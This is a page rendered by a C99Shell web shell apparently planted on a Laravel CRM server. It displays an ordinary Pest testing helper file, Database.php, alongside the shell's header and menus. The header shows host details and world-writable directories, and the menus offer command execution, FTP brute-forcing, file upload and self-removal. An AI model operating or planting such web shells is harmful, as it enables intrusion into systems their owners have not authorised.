!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/pestphp/pest-plugin-laravel/src/   drwxrwxrwx
Free 13.17 GB of 57.97 GB (22.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Database.php (3.01 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Laravel;

use 
Illuminate\Database\Connection;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Foundation\Testing\TestCase;

/**
 * Assert that a given where condition exists in the database.
 *
 * @return TestCase
 */
function assertDatabaseHas(string $table, array $data, ?string $connection null)
{
    return 
test()->assertDatabaseHas(...func_get_args());
}

/**
 * Assert that a given where condition does not exist in the database.
 *
 * @return TestCase
 */
function assertDatabaseMissing(string $table, array $data, ?string $connection null)
{
    return 
test()->assertDatabaseMissing(...func_get_args());
}

/**
 * Assert that the given table has no entries.
 *
 * @return TestCase
 */
function assertDatabaseEmpty(string $table, ?string $connection null)
{
    return 
test()->assertDatabaseEmpty(...func_get_args());
}

/**
 * Assert the given model exists in the database.
 *
 * @return TestCase
 */
function assertModelExists(Model $model)
{
    return 
test()->assertModelExists(...func_get_args());
}

/**
 * Assert the given model does not exist in the database.
 *
 * @return TestCase
 */
function assertModelMissing(Model $model)
{
    return 
test()->assertModelMissing(...func_get_args());
}

/**
 * Assert the count of table entries.
 *
 * @return TestCase
 */
function assertDatabaseCount(string $tableint $count, ?string $connection null)
{
    return 
test()->assertDatabaseCount(...func_get_args());
}

/**
 * Assert the given record has been "soft deleted".
 *
 * @param  Model|string  $table
 * @return TestCase
 */
function assertSoftDeleted($table, array $data = [], ?string $connection nullstring $deletedAtColumn 'deleted_at')
{
    return 
test()->assertSoftDeleted(...func_get_args());
}

/**
 * Assert the given record has not been "soft deleted".
 *
 * @param  Model|string  $table
 * @return TestCase
 */
function assertNotSoftDeleted($table, array $data = [], ?string $connection nullstring $deletedAtColumn 'deleted_at')
{
    return 
test()->assertNotSoftDeleted(...func_get_args());
}

/**
 * Determine if the argument is a soft deletable model.
 *
 * @param  mixed  $model
 */
function isSoftDeletableModel($model): bool
{
    return 
test()->isSoftDeletableModel(...func_get_args());
}

/**
 * Get the database connection.
 */
function getConnection(?string $connection null): Connection
{
    return 
test()->getConnection(...func_get_args());
}

/**
 * Seed a given database connection.
 *
 * @return TestCase
 */
function seed(array|string $class 'Database\\Seeders\\DatabaseSeeder')
{
    return 
test()->seed(...func_get_args());
}

/**
 * Specify the number of database queries that should occur throughout the test.
 *
 * @return TestCase
 */
function expectsDatabaseQueryCount(int $excepted, ?string $connection null)
{
    return 
test()->expectsDatabaseQueryCount(...func_get_args());
}

/**
 * Cast a JSON string to a database compatible type.
 *
 * @return TestCase
 */
function castAsJson(array|object|string $value)
{
    return 
test()->castAsJson($value);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--